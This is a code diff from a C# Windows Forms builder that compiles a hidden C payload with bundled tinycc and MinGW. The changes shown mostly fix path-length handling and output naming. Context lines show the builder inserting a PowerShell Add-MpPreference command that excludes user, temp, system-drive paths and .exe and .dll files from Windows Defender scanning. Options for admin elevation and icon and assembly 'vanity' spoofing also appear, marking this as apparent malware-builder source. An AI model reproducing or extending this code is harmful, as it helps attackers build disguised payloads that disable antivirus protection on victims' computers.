33using System . Diagnostics ;
44using System . IO ;
55using System . IO . Compression ;
6+ using System . Runtime . InteropServices ;
67using System . Text ;
78using System . Windows . Forms ;
89
@@ -14,6 +15,8 @@ public partial class Builder : Form
1415 public Vanity vanity = new Vanity ( ) ;
1516 private string key = RandomString ( 32 ) ;
1617
18+ public static int MAX_PATH = 255 ;
19+
1720 public Builder ( )
1821 {
1922 InitializeComponent ( ) ;
@@ -24,9 +27,15 @@ public void NativeCompiler(string savePath)
2427 key = RandomString ( 32 ) ;
2528
2629 string currentDirectory = Path . GetDirectoryName ( savePath ) ;
27- string filename = Path . GetFileNameWithoutExtension ( savePath ) + ".c" ;
28-
2930 string compilerDirectory = Path . Combine ( currentDirectory , "Compiler" ) ;
31+ string filename = Path . GetFileName ( savePath ) ;
32+
33+ if ( compilerDirectory . Length > MAX_PATH )
34+ {
35+ MessageBox . Show ( string . Format ( "Error: Path \" {0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in." , compilerDirectory , MAX_PATH ) ) ;
36+ return ;
37+ }
38+
3039 if ( ! Directory . Exists ( compilerDirectory ) )
3140 {
3241 using ( ZipArchive archive = new ZipArchive ( new MemoryStream ( Properties . Resources . tinycc ) ) )
@@ -39,6 +48,8 @@ public void NativeCompiler(string savePath)
3948 }
4049 }
4150
51+ string compilerDirectoryShort = ShortPath ( compilerDirectory ) ;
52+
4253 StringBuilder sb = new StringBuilder ( Properties . Resources . Program1 ) ;
4354
4455 bool buildResource = ( checkAdmin . Checked || vanity . checkIcon . Checked || vanity . checkAssembly . Checked ) ;
@@ -72,8 +83,8 @@ public void NativeCompiler(string savePath)
7283
7384 Process . Start ( new ProcessStartInfo
7485 {
75- FileName = Path . Combine ( compilerDirectory , "MinGW64 \\ bin \\ windres.exe" ) ,
76- Arguments = " --input resource.rc --output resource.o -O coff -F pe-i386 " + defs ,
86+ FileName = "cmd" ,
87+ Arguments = string . Format ( "cmd /c \" {0} \" --input resource.rc --output resource.o -O coff -F pe-i386 {1}" , compilerDirectoryShort + " \\ MinGW64 \\ bin \\ windres.exe" , defs ) ,
7788 WorkingDirectory = currentDirectory ,
7889 WindowStyle = ProcessWindowStyle . Hidden
7990 } ) . WaitForExit ( ) ;
@@ -113,17 +124,18 @@ public void NativeCompiler(string savePath)
113124 CipherReplace ( sb , "#WDCOMMAND" , "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit" ) ;
114125 }
115126
116- System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , filename ) , sb . ToString ( ) ) ;
127+ System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , "program.c" ) , sb . ToString ( ) ) ;
117128 Process . Start ( new ProcessStartInfo
118129 {
119- FileName = Path . Combine ( compilerDirectory , "tinycc \\ tcc.exe" ) ,
120- Arguments = " -Wall -Wl,-subsystem=windows \" " + filename + "\" " + ( buildResource ? "resource.o" : "" ) + " -luser32 -m32" ,
130+ FileName = "cmd" ,
131+ Arguments = string . Format ( "cmd /c \" {0} \" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32" , compilerDirectoryShort + "\\ tinycc \\ tcc.exe" , buildResource ? "resource.o" : "" ) ,
121132 WorkingDirectory = currentDirectory ,
122133 WindowStyle = ProcessWindowStyle . Hidden
123134 } ) . WaitForExit ( ) ;
124135
125136 System . IO . File . Delete ( Path . Combine ( currentDirectory , "resource.o" ) ) ;
126- System . IO . File . Delete ( Path . Combine ( currentDirectory , filename ) ) ;
137+ System . IO . File . Delete ( Path . Combine ( currentDirectory , "program.c" ) ) ;
138+ System . IO . File . Move ( Path . Combine ( currentDirectory , "program.exe" ) , Path . Combine ( currentDirectory , filename ) ) ;
127139 }
128140
129141 public void CipherReplace ( StringBuilder source , string id , string value )
@@ -177,6 +189,16 @@ private static string ToLiteral(string input)
177189 return literal . ToString ( ) ;
178190 }
179191
192+ [ DllImport ( "kernel32.dll" , CharSet = CharSet . Auto ) ]
193+ public static extern int GetShortPathName ( [ MarshalAs ( UnmanagedType . LPWStr ) ] string path , [ MarshalAs ( UnmanagedType . LPWStr ) ] StringBuilder shortPath , int shortPathLength ) ;
194+
195+ private static string ShortPath ( string path )
196+ {
197+ var shortPath = new StringBuilder ( MAX_PATH ) ;
198+ GetShortPathName ( path , shortPath , MAX_PATH ) ;
199+ return shortPath . ToString ( ) ;
200+ }
201+
180202 public string SaveDialog ( string filter )
181203 {
182204 SaveFileDialog dialog = new SaveFileDialog ( ) ;
0 commit comments